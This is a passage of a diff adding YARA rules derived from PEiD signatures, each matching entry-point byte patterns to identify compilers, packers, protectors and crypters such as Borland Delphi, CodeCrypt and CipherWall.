+    meta:
+        description = "[Borland Delphi v5.0 KOL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? 40 00 E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF 8B C0 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00345_Borland_Delphi_v6_0___v7_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0 - v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {53 8B D8 33 C0 A3 00 ?? ?? ?? 06 A0 0E 80 ?? ?? 0F FA 30 ?? ?? ?? 0A 10 ?? ?? ?? 0A 30 ?? ?? ?? 03 3C 0A 30 ?? ?? ?? 03 3C 0A 30 ?? ?? ?? E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00346_Borland_Delphi_v6_0___v7_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0 - v7.0]"
+        ep_only = "false"
+    strings:
+        $a = {53 8B D8 33 C0 A3 0? ?? ?? ?0 6A 00 E8 0? ?? ?0 FF A3 0? ?? ?? ?0 A1 0? ?? ?? ?0 A3 0? ?? ?? ?0 33 C0 A3 0? ?? ?? ?0 33 C0 A3 0? ?? ?? ?0 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00347_Borland_Delphi_v6_0___v7_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0 - v7.0]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_00348_Borland_Delphi_v6_0___v7_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0 - v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8 ?? ?? FB FF A1 ?? ?? ?? ?? 8B ?? E8 ?? ?? FF FF 8B 0D ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 8B 15 ?? ?? ?? ?? E8 ?? ?? FF FF A1 ?? ?? ?? ?? 8B ?? E8 ?? ?? FF FF E8 ?? ?? FB FF 8D 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00349_Borland_Delphi_v6_0___v7_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0 - v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? ?? ?? 83 7D 0C 01 75 ?? 50 52 C6 05 ?? ?? ?? ?? ?? 8B 4D 08 89 0D ?? ?? ?? ?? 89 4A 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00350_Borland_Delphi_v6_0_KOL_
+{
+    meta:
+        description = "[Borland Delphi v6.0 KOL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? 40 00 E8 ?? ?? FF FF A1 ?? 72 40 00 33 D2 E8 ?? ?? FF FF A1 ?? 72 40 00 8B 00 83 C0 14 E8 ?? ?? FF FF E8 ?? ?? FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00351_Borland_Delphi_v6_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0]"
+        ep_only = "true"
+    strings:
+        $a = {53 8B D8 33 C0 A3 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? FF A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00352_Borland_Delphi_v6_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? 45 00 E8 ?? ?? ?? FF A1 ?? ?? 45 00 8B 00 E8 ?? ?? FF FF 8B 0D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00353_Borland_Pascal_v7_0_for_Windows_
+{
+    meta:
+        description = "[Borland Pascal v7.0 for Windows]"
+        ep_only = "true"
+    strings:
+        $a = {9A FF FF 00 00 9A FF FF 00 00 55 89 E5 31 C0 9A FF FF 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00354_Borland_Pascal_v7_0_Protected_Mode_
+{
+    meta:
+        description = "[Borland Pascal v7.0 Protected Mode]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BB ?? ?? 8E D0 8B E3 8C D8 8E C0 0E 1F A1 ?? ?? 25 ?? ?? A3 ?? ?? E8 ?? ?? 83 3E ?? ?? ?? 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00355_Borland_Pascal_v7_0_
+{
+    meta:
+        description = "[Borland Pascal v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8E D8 8C ?? ?? ?? 8C D3 8C C0 2B D8 8B C4 05 ?? ?? C1 ?? ?? 03 D8 B4 ?? CD 21 0E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00356_by_Central_Point_Software_
+{
+    meta:
+        description = "[by Central Point Software]"
+        ep_only = "true"
+    strings:
+        $a = {50 51 52 56 57 8B EB 1E 2E}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00357_C_I_Crypt_V0_1____FearlesS_
+{
+    meta:
+        description = "[C.I Crypt V0.1 -> FearlesS]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00358_C_I_Crypt_V0_2____FearlesS_
+{
+    meta:
+        description = "[C.I Crypt V0.2 -> FearlesS]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00359_CA_Visual_Objects_2_0___2_5_
+{
+    meta:
+        description = "[CA Visual Objects 2.0 - 2.5]"
+        ep_only = "true"
+    strings:
+        $a = {89 25 ?? ?? ?? ?? 33 ED 55 8B EC E8 ?? ?? ?? ?? 8B D0 81 E2 FF 00 00 00 89 15 ?? ?? ?? ?? 8B D0 C1 EA 08 81 E2 FF 00 00 00 A3 ?? ?? ?? ?? D1 E0 0F 93 C3 33 C0 8A C3 A3 ?? ?? ?? ?? 68 FF 00 00 00 E8 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? BB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00360_CA_Visual_Objects_2_0___2_5_
+{
+    meta:
+        description = "[CA Visual Objects 2.0 - 2.5]"
+        ep_only = "true"
+    strings:
+        $a = {89 25 ?? ?? ?? ?? 33 ED 55 8B EC E8 ?? ?? ?? ?? 8B D0 81 E2 FF 00 00 00 89 15 ?? ?? ?? ?? 8B D0 C1 EA 08 81 E2 FF 00 00 00 A3 ?? ?? ?? ?? D1 E0 0F 93 C3 33 C0 8A C3 A3 ?? ?? ?? ?? 68 FF 00 00 00 E8 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? BB ?? ?? ?? ?? C7 03 44 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00361_CALS_Raster_graphics_format_
+{
+    meta:
+        description = "[CALS Raster graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {73 72 63 64 6F 63 69 64 3A 20}
+    condition:
+        $a
+}
+
+rule PEiD_00362_Can2Exe_v0_01_
+{
+    meta:
+        description = "[Can2Exe v0.01]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F 0E 07 E8 ?? ?? E8 ?? ?? 3A C6 73}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00363_CAN2EXE_v0_01_
+{
+    meta:
+        description = "[CAN2EXE v0.01]"
+        ep_only = "true"
+    strings:
+        $a = {26 8E 06 ?? ?? B9 ?? ?? 33 C0 8B F8 F2 AE E3 ?? 26 38 05 75 ?? EB ?? E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00364_CauseWay_DOS_Extender_v3_25_
+{
+    meta:
+        description = "[CauseWay DOS Extender v3.25]"
+        ep_only = "true"
+    strings:
+        $a = {FA 16 1F 26 ?? ?? ?? 83 ?? ?? 8E D0 FB 06 16 07 BE ?? ?? 8B FE B9 ?? ?? F3 A4 07}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00365_CC_v2_61_Beta_
+{
+    meta:
+        description = "[CC v2.61 Beta]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00366_CD_Cops_II_
+{
+    meta:
+        description = "[CD-Cops II]"
+        ep_only = "true"
+    strings:
+        $a = {53 60 BD ?? ?? ?? ?? 8D 45 ?? 8D 5D ?? E8 ?? ?? ?? ?? 8D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00367_CDS_SS_1_0_beta1____CyberDoom_
+{
+    meta:
+        description = "[CDS SS 1.0 beta1 -> CyberDoom]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED CA 47 40 00 FF 74 24 20 E8 D3 03 00 00 0B C0 0F 84 13 03 00 00 89 85 B8 4E 40 00 66 8C D8 A8 04 74 0C C7 85 8C 4E 40 00 01 00 00 00 EB 12 64 A1 30 00 00 00 0F B6 40 02 0A C0 0F 85 E8 02 00 00 8D 85 F6 4C 40 00 50 FF B5 B8 4E 40 00 E8 FC 03 00 00 0B C0 0F 84 CE 02 00 00 E8 1E 03 00 00 89 85 90 4E 40 00 8D 85 03 4D 40 00 50 FF B5 B8 4E 40 00 E8 D7 03 00 00 0B C0 0F 84 A9 02 00 00 E8 F9 02 00 00 89 85 94 4E 40 00 8D 85 12 4D 40 00 50}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00368_CDS_SS_v1_0_Beta_1____CyberDoom___Team_X_
+{
+    meta:
+        description = "[CDS SS v1.0 Beta 1 -> CyberDoom / Team-X]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED CA 47 40 00 FF 74 24 20 E8 D3 03 00 00 0B C0 0F 84 13 03 00 00 89 85 B8 4E 40 00 66 8C D8 A8 04 74 0C C7 85 8C 4E 40 00 01 00 00 00 EB 12 64 A1 30 00 00 00 0F B6 40 02 0A C0 0F 85 E8 02 00 00 8D 85 F6 4C 40 00 50 FF B5 B8 4E 40 00 E8 FC 03 00 00 0B C0 0F 84 CE 02 00 00 E8 1E 03 00 00 89 85 90 4E 40 00 8D 85 03 4D 40 00 50 FF B5 B8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00369_Celsius_Crypt_2_1____Z3r0_
+{
+    meta:
+        description = "[Celsius Crypt 2.1 -> Z3r0]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 84 92 44 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 84 92 44 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D C4 92 44 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D AC 92 44 00 89 E5 5D FF E1 90 90 90 90 55 89 E5 5D E9 77 C2 00 00 90 90 90 90 90 90 90 55 89 E5 83 EC 28 8B 45 10 89 04 24 E8 3F 14 01 00 48 89 45 FC 8B 45 0C 48 89 45 F4 8D 45 F4 89 44 24 04 8D 45 FC 89 04 24 E8 12 A3 03 00 8B 00 89 45 F8 8B 45 FC 89 45 F0 C6 45 EF 01 C7 45 E8 00 00 00 00 8B 45 E8 3B 45 F8 73 39 80 7D EF 00 74 33 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 1C 1A 01 00 89 C1 8B 45 08 8B 55 E8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 8D 45 E8 FF 00 EB BF 83 7D F0 00 74 34 80 7D EF 00 74 2E 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 DD 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 EB C6 C7 44 24 04 00 00 00 00 8B 45 10 89 04 24 E8 AE 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 7F 0C 0F B6 45 EF 83 E0 01 88 45 E7 EB 04 C6 45 E7 00 0F B6 45 E7 88 45 EF 0F B6 45 EF C9 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00370_Celsius_Crypt_2_1____Z3r0_
+{
+    meta:
+        description = "[Celsius Crypt 2.1 -> Z3r0]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 28 8B 45 10 89 04 24 E8 3F 14 01 00 48 89 45 FC 8B 45 0C 48 89 45 F4 8D 45 F4 89 44 24 04 8D 45 FC 89 04 24 E8 12 A3 03 00 8B 00 89 45 F8 8B 45 FC 89 45 F0 C6 45 EF 01 C7 45 E8 00 00 00 00 8B 45 E8 3B 45 F8 73 39 80 7D EF 00 74 33 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 1C 1A 01 00 89 C1 8B 45 08 8B 55 E8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 8D 45 E8 FF 00 EB BF 83 7D F0 00 74 34 80 7D EF 00 74 2E 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 DD 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 EB C6 C7 44 24 04 00 00 00 00 8B 45 10 89 04 24 E8 AE 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 7F 0C 0F B6 45 EF 83 E0 01 88 45 E7 EB 04 C6 45 E7 00 0F B6 45 E7 88 45 EF 0F B6 45 EF C9 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00371_CERBERUS_v2_0_
+{
+    meta:
+        description = "[CERBERUS v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {9C 2B ED 8C ?? ?? 8C ?? ?? FA E4 ?? 88 ?? ?? 16 07 BF ?? ?? 8E DD 9B F5 B9 ?? ?? FC F3 A5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00372_CExe_v1_0a_
+{
+    meta:
+        description = "[CExe v1.0a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 0C 02 ?? ?? 56 BE 04 01 ?? ?? 8D 85 F8 FE FF FF 56 50 6A ?? FF 15 54 10 40 ?? 8A 8D F8 FE FF FF 33 D2 84 C9 8D 85 F8 FE FF FF 74 16}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00373_CGM_Graphics_format_
+{
+    meta:
+        description = "[CGM Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {00 2A 08 48 69 4A 61 61 6B 20 32}
+    condition:
+        $a
+}
+
+rule PEiD_00374_CHECKPRG__c__1992_
+{
+    meta:
+        description = "[CHECKPRG (c) 1992]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 BE ?? ?? 8B D8 B9 ?? ?? BF ?? ?? BA ?? ?? 47 4A 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00375_ChinaProtect____dummy___Sign_by_fly_
+{
+    meta:
+        description = "[ChinaProtect -> dummy ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {C3 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 56 8B ?? ?? ?? 6A 40 68 00 10 00 00 8D ?? ?? 50 6A 00 E8 ?? ?? ?? ?? 89 30 83 C0 04 5E C3 8B 44 ?? ?? 56 8D ?? ?? 68 00 40 00 00 FF 36 56 E8 ?? ?? ?? ?? 68 00 80 00 00 6A 00 56 E8 ?? ?? ?? ?? 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_00376_ChSfx__small__v1_1_
+{
+    meta:
+        description = "[ChSfx (small) v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? E8 ?? ?? 8B EC 83 EC ?? 8C C8 BB ?? ?? B1 ?? D3 EB 03 C3 8E D8 05 ?? ?? 89}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00377_CICompress_1_0_
+{
+    meta:
+        description = "[CICompress 1.0]"
+        ep_only = "false"
+    strings:
+        $a = {6A 04 68 00 10 00 00 FF 35 9C 14 40 00 6A 00 FF 15 38 10 40 00 A3 FC 10 40 00 97 BE 00 20 40 00 E8 71 00 00 00 3B 05 9C 14 40 00 75 61 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 68 94 10 40 00 FF 15 2C 10 40 00 A3 F8 10 40 00 6A 00 68 F4 10 40 00 FF 35}
+    condition:
+        $a
+}
+rule PEiD_00378_CICompress_v1_0_
+{
+    meta:
+        description = "[CICompress v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A 04 68 00 10 00 00 FF 35 9C 14 40 00 6A 00 FF 15 38 10 40 00 A3 FC 10 40 00 97 BE 00 20 40 00 E8 71 00 00 00 3B 05 9C 14 40 00 75 61 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 68 94 10 40 00 FF 15 2C 10 40 00 A3 F8 10 40 00 6A 00 68 F4 10 40 00 FF 35 9C 14 40 00 FF 35 FC 10 40 00 FF 35 F8 10 40 00 FF 15 34 10 40 00 FF 35 F8 10 40 00 FF 15 30 10 40 00 68 00 40 00 00 FF 35 9C 14 40 00 FF 35 FC 10 40 00 FF 15 3C 10 40 00 6A 00 FF 15 28 10 40 00 60 33 DB 33 C9 E8 7F 00 00 00 73 0A B1 08 E8 82 00 00 00 AA EB EF E8 6E 00 00 00 73 14 B1 04 E8 71 00 00 00 3C 00 74 EB 56 8B F7 2B F0 A4 5E EB D4 33 ED E8 51 00 00 00 72 10 B1 02 E8 54 00 00 00 3C 00 74 3B 8B E8 C1 C5 08 B1 08 E8 44 00 00 00 0B C5 50 33 ED E8 2E 00 00 00 72 0C B1 02 E8 31 00 00 00 8B E8 C1 C5 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00379_CipherWall_Self_Extrator_Decryptor__Console__1_5_
+{
+    meta:
+        description = "[CipherWall Self-Extrator/Decryptor (Console) 1.5]"
+        ep_only = "false"
+    strings:
+        $a = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+    condition:
+        $a
+}
+
+rule PEiD_00380_CipherWall_Self_Extrator_Decryptor__Console__v1_5_
+{
+    meta:
+        description = "[CipherWall Self-Extrator/Decryptor (Console) v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 12 10 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 06 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00381_CipherWall_Self_Extrator_Decryptor__GUI__1_5_
+{
+    meta:
+        description = "[CipherWall Self-Extrator/Decryptor (GUI) 1.5]"
+        ep_only = "false"
+    strings:
+        $a = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+    condition:
+        $a
+}
+
+rule PEiD_00382_CipherWall_Self_Extrator_Decryptor__GUI__v1_5_
+{
+    meta:
+        description = "[CipherWall Self-Extrator/Decryptor (GUI) v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 52 10 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 0E 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00383_Code_Virtualizer_V1_3_1_0____Oreans_Technologies___Sign_by_fly_
+{
+    meta:
+        description = "[Code Virtualizer V1.3.1.0 -> Oreans Technologies ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {60 9C FC E8 00 00 00 00 5F 81 EF ?? ?? ?? ?? 8B C7 81 C7 ?? ?? ?? ?? 3B 47 2C 75 02 EB 2E 89 47 2C B9 A7 00 00 00 EB 05 01 44 8F ?? 49 0B C9 75 F7 83 7F 40 00 74 15 8B 77 40 03 F0 EB 09 8B 1E 03 D8 01 03 83 C6 04 83 3E 00 75 F2 8B 74 24 24 8B DE 03 F0 B9 01 00 00 00 33 C0 F0 0F B1 4F 30 75 F7 AC}
+    condition:
+        $a
+}
+
+rule PEiD_00384_Code_Virtualizer_V1_3_1_0____Oreans_Technologies_
+{
+    meta:
+        description = "[Code Virtualizer V1.3.1.0 -> Oreans Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C FC E8 00 00 00 00 5F 81 EF ?? ?? ?? ?? 8B C7 81 C7 ?? ?? ?? ?? 3B 47 2C 75 02 EB 2E 89 47 2C B9 A7 00 00 00 EB 05 01 44 8F ?? 49 0B C9 75 F7 83 7F 40 00 74 15 8B 77 40 03 F0 EB 09 8B 1E 03 D8 01 03 83 C6 04 83 3E 00 75 F2 8B 74 24 24 8B DE 03 F0 B9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00385_Code_Lock_vx_x_
+{
+    meta:
+        description = "[Code-Lock vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00386_CodeCrypt_v0_14b_
+{
+    meta:
+        description = "[CodeCrypt v0.14b]"
+        ep_only = "true"
+    strings:
+        $a = {E9 C5 02 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00387_CodeCrypt_v0_15b_
+{
+    meta:
+        description = "[CodeCrypt v0.15b]"
+        ep_only = "true"
+    strings:
+        $a = {E9 31 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00388_CodeCrypt_v0_164_
+{
+    meta:
+        description = "[CodeCrypt v0.164]"
+        ep_only = "true"
+    strings:
+        $a = {E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F EB 03 FF 1D 34}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00389_CodeCrypt_v0_16b___v0_163b_
+{
+    meta:
+        description = "[CodeCrypt v0.16b - v0.163b]"
+        ep_only = "true"
+    strings:
+        $a = {E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00390_codeCrypter_0_31____Tibbar_
+{
+    meta:
+        description = "[codeCrypter 0.31 -> Tibbar]"
+        ep_only = "true"
+    strings:
+        $a = {50 58 53 5B 90 BB ?? ?? ?? 00 FF E3 90 CC CC CC 55 8B EC 5D C3 CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00391_codeCrypter_0_31_
+{
+    meta:
+        description = "[codeCrypter 0.31]"
+        ep_only = "true"
+    strings:
+        $a = {50 58 53 5B 90 BB ?? ?? 40 00 FF E3 90 CC CC CC 55 8B EC 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00392_codeCrypter_0_31_
+{
+    meta:
+        description = "[codeCrypter 0.31]"
+        ep_only = "false"
+    strings:
+        $a = {50 58 53 5B 90 BB ?? ?? 40 00 FF E3 90 CC CC CC 55 8B EC 5D C3 CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_00393_Com4mail_v1_0_
+{
+    meta:
+        description = "[Com4mail v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {42 45 47 49 4E 3D 3D 3D 74 66 75 64 23 6F 66 5F 43 6F 6D 34 4D 61 69 6C 5F 66 69 6C 65 23 0D 0A}
+    condition:
+        $a at pe.entry_point
+}
+
+
+rule PEiD_00394_COMPACK_v4_5__2__
+{
+    meta:
+        description = "[COMPACK v4.5 (2)]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? E8 ?? ?? 5D 83 ?? ?? 55 50 53 51 52 0E 07 0E 1F 8B CE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00395_COMPACK_v5_1_
+{
+    meta:
+        description = "[COMPACK v5.1]"
+        ep_only = "true"
+    strings:
+        $a = {BD ?? ?? 50 06 8C CB 03 DD 8C D2 4B 8E DB BE ?? ?? BF ?? ?? 8E C2 B9 ?? ?? F3 A5 4A 4D 75 ?? 8B F7 8E DA 0E 07 06 16}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00396_COP_v1_0__c__1988_
+{
+    meta:
+        description = "[COP v1.0 (c) 1988]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? BE ?? ?? B9 ?? ?? AC 32 ?? ?? ?? AA E2 ?? 8B ?? ?? ?? EB ?? 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00397_Copy_Protector_v2_0_
+{
+    meta:
+        description = "[Copy Protector v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {2E A2 ?? ?? 53 51 52 1E 06 B4 ?? 1E 0E 1F BA ?? ?? CD 21 1F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00398_CopyControl_v3_03_
+{
+    meta:
+        description = "[CopyControl v3.03]"
+        ep_only = "true"
+    strings:
+        $a = {CC 90 90 EB 0B 01 50 51 52 53 54 61 33 61 2D 35 CA D1 07 52 D1 A1 3C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00399_CopyMinder____Microcosm_Ltd___Sign_by_fly_
+{
+    meta:
